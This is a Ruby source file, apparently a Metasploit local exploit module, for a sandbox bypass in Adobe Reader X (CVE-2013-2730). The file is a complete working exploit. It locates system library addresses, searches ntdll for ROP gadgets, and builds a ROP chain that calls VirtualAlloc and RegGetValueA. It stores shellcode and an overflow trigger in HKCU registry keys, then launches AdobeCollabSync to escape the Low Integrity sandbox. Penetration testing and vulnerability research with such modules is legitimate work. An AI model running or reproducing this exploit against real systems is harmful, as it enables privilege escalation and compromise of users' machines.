Path: blob/master/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Post::Windows::Registry1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',18'Description' => %q{19This module exploits a vulnerability on Adobe Reader X Sandbox. The20vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe21process to write register values which can be used to trigger a buffer overflow on22the AdobeCollabSync component, allowing to achieve Medium Integrity Level23privileges from a Low Integrity AcroRd32.exe process. This module has been tested24successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.25},26'License' => MSF_LICENSE,27'Author' => [28'Felipe Andres Manzano', # Vulnerability discovery and PoC29'juan vazquez' # Metasploit module30],31'References' => [32[ 'CVE', '2013-2730' ],33[ 'OSVDB', '93355' ],34[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]35],36'Arch' => ARCH_X86,37'Platform' => 'win',38'SessionTypes' => ['meterpreter'],39'Payload' => {40'Space' => 12288,41'DisableNops' => true42},43'Targets' => [44[45'Adobe Reader X 10.1.4 / Windows 7 SP1',46{47'AdobeCollabSyncTrigger' => 0x18fa0,48'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"49}50],51],52'DefaultTarget' => 0,53'DisclosureDate' => '2013-05-14',54'Compat' => {55'Meterpreter' => {56'Commands' => %w[57stdapi_railgun_api58stdapi_railgun_memread59stdapi_sys_config_getenv60]61}62},63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68}69)70)7172self.needs_cleanup = true73end7475def on_new_session76print_status("Deleting Malicious Registry Keys...")77if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")78print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")79end80if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")81print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")82end83print_status("Cleanup finished")84end8586# Test the process integrity level by trying to create a directory on the TEMP folder87# Access should be granted with Medium Integrity Level88# Access should be denied with Low Integrity Level89# Usint this solution atm because I'm experiencing problems with railgun when trying90# use GetTokenInformation91def low_integrity_level?92tmp_dir = session.sys.config.getenv('TEMP')93cd(tmp_dir)94new_dir = "#{rand_text_alpha(5)}"95begin96session.shell_command_token("mkdir #{new_dir}")97rescue98return true99end100101if directory?(new_dir)102session.shell_command_token("rmdir #{new_dir}")103return false104else105return true106end107end108109def check_trigger110signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)111if signature == target['AdobeCollabSyncTriggerSignature']112return true113end114115return false116end117118def collect_addresses119# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe120@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']121vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")122123# find kernel32.dll124kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")125@addresses['kernel32.dll'] = kernel32["return"]126if @addresses['kernel32.dll'] == 0127fail_with(Failure::Unknown, "Unable to find kernel32.dll")128end129vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")130131# find kernel32.dll methods132virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")133@addresses['VirtualAlloc'] = virtual_alloc["return"]134if @addresses['VirtualAlloc'] == 0135fail_with(Failure::Unknown, "Unable to find VirtualAlloc")136end137vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")138139reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")140@addresses['RegGetValueA'] = reg_get_value["return"]141if @addresses['RegGetValueA'] == 0142fail_with(Failure::Unknown, "Unable to find RegGetValueA")143end144vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")145146# find ntdll.dll147ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")148@addresses['ntdll.dll'] = ntdll["return"]149if @addresses['ntdll.dll'] == 0150fail_with(Failure::Unknown, "Unable to find ntdll.dll")151end152vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")153end154155# Search a gadget identified by pattern on the process memory156def search_gadget(base, offset_start, offset_end, pattern)157mem = base + offset_start158length = offset_end - offset_start159mem_contents = session.railgun.memread(mem, length)160return mem_contents.index(pattern)161end162163# Search for gadgets on ntdll.dll164def search_gadgets165ntdll_text_base = 0x10000166search_length = 0xd6000167168@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")169if @gadgets['mov [edi], ecx # ret'].nil?170fail_with(Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")171end172@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']173@gadgets['mov [edi], ecx # ret'] += ntdll_text_base174vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")175176@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2177vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")178179@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")180if @gadgets['pop edi # ret'].nil?181fail_with(Failure::Unknown, "Unable to find gadget 'pop edi # ret'")182end183@gadgets['pop edi # ret'] += @addresses['ntdll.dll']184@gadgets['pop edi # ret'] += ntdll_text_base185vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")186187@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")188if @gadgets['pop ecx # ret'].nil?189fail_with(Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")190end191@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']192@gadgets['pop ecx # ret'] += ntdll_text_base193vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")194end195196def store(buf, data, address)197i = 0198while (i < data.length)199buf << [@gadgets['pop edi # ret']].pack("V")200buf << [address + i].pack("V") # edi201buf << [@gadgets['pop ecx # ret']].pack("V")202buf << data[i, 4].ljust(4, "\x00") # ecx203buf << [@gadgets['mov [edi], ecx # ret']].pack("V")204i = i + 4205end206return i207end208209def create_rop_chain210mem = 0x0c0c0c0c211212buf = [0x58000000 + 1].pack("V")213buf << [0x58000000 + 2].pack("V")214buf << [0].pack("V")215buf << [0x58000000 + 4].pack("V")216217buf << [0x58000000 + 5].pack("V")218buf << [0x58000000 + 6].pack("V")219buf << [0x58000000 + 7].pack("V")220buf << [@gadgets['ret']].pack("V")221buf << rand_text(8)222223# Allocate Memory To store the shellcode and the necessary data to read the224# shellcode stored in the registry225buf << [@addresses['VirtualAlloc']].pack("V")226buf << [@gadgets['ret']].pack("V")227buf << [mem].pack("V") # lpAddress228buf << [0x00010000].pack("V") # SIZE_T dwSize229buf << [0x00003000].pack("V") # DWORD flAllocationType230buf << [0x00000040].pack("V") # flProtect231232# Put in the allocated memory the necessary data in order to read the233# shellcode stored in the registry234# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions235reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"236reg_key_length = store(buf, reg_key, mem)237# 2) The reg entry: shellcode238value_key = "shellcode\x00"239store(buf, value_key, mem + reg_key_length)240# 3) The output buffer size: 0x3000241size_buffer = 0x3000242buf << [@gadgets['pop edi # ret']].pack("V")243buf << [mem + 0x50].pack("V") # edi244buf << [@gadgets['pop ecx # ret']].pack("V")245buf << [size_buffer].pack("V") # ecx246buf << [@gadgets['mov [edi], ecx # ret']].pack("V")247248# Copy the shellcode from the registry to the249# memory allocated with executable permissions and250# ret into there251buf << [@addresses['RegGetValueA']].pack("V")252buf << [mem + 0x1000].pack("V") # ret to shellcode253buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER254buf << [mem].pack("V") # lpSubKey255buf << [mem + 0x3c].pack("V") # lpValue256buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY257buf << [0].pack("V") # pdwType258buf << [mem + 0x1000].pack("V") # pvData259buf << [mem + 0x50].pack("V") # pcbData260end261262# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry263def store_data_registry(buf)264vprint_status("Creating the Registry Key to store the shellcode...")265266if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")267vprint_good("Registry Key created")268else269fail_with(Failure::Unknown, "Failed to create the Registry Key to store the shellcode")270end271272vprint_status("Storing the shellcode in the Registry...")273274if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")275vprint_good("Shellcode stored")276else277fail_with(Failure::Unknown, "Failed to store shellcode in the Registry")278end279280# Create the Malicious registry entry in order to exploit....281vprint_status("Creating the Registry Key to trigger the Overflow...")282if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")283vprint_good("Registry Key created")284else285fail_with(Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")286end287288vprint_status("Storing the trigger in the Registry...")289if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")290vprint_good("Trigger stored")291else292fail_with(Failure::Unknown, "Failed to store the trigger in the Registry")293end294end295296def trigger_overflow297vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")298# Create a thread in order to execute the necessary code to launch AdobeCollabSync299ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)300if ret['return'] < 1301print_error("Unable to CreateThread")302return303end304hthread = ret['return']305306vprint_status("Resuming the Thread...")307# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!308ret = client.railgun.kernel32.ResumeThread(hthread)309if ret['return'] < 1310fail_with(Failure::Unknown, "Unable to ResumeThread")311end312end313314def check315@addresses = {}316acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")317@addresses['AcroRd32.exe'] = acrord32["return"]318if @addresses['AcroRd32.exe'] == 0319return Msf::Exploit::CheckCode::Unknown320elsif check_trigger321return Msf::Exploit::CheckCode::Vulnerable322else323return Msf::Exploit::CheckCode::Detected324end325end326327def exploit328@addresses = {}329@gadgets = {}330331print_status("Verifying we're in the correct target process...")332acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")333@addresses['AcroRd32.exe'] = acrord32["return"]334if @addresses['AcroRd32.exe'] == 0335fail_with(Failure::NoTarget, "AcroRd32.exe process not found")336end337vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")338339print_status("Checking the AcroRd32.exe image...")340if not check_trigger341fail_with(Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")342end343344print_status("Checking the Process Integrity Level...")345if not low_integrity_level?346fail_with(Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")347end348349print_status("Collecting necessary addresses for exploit...")350collect_addresses351352print_status("Searching the gadgets needed to build the ROP chain...")353search_gadgets354print_good("Gadgets collected...")355356print_status("Building the ROP chain...")357buf = create_rop_chain358print_good("ROP chain ready...")359360print_status("Storing the shellcode and the trigger in the Registry...")361store_data_registry(buf)362363print_status("Executing AdobeCollabSync.exe...")364trigger_overflow365end366end367368369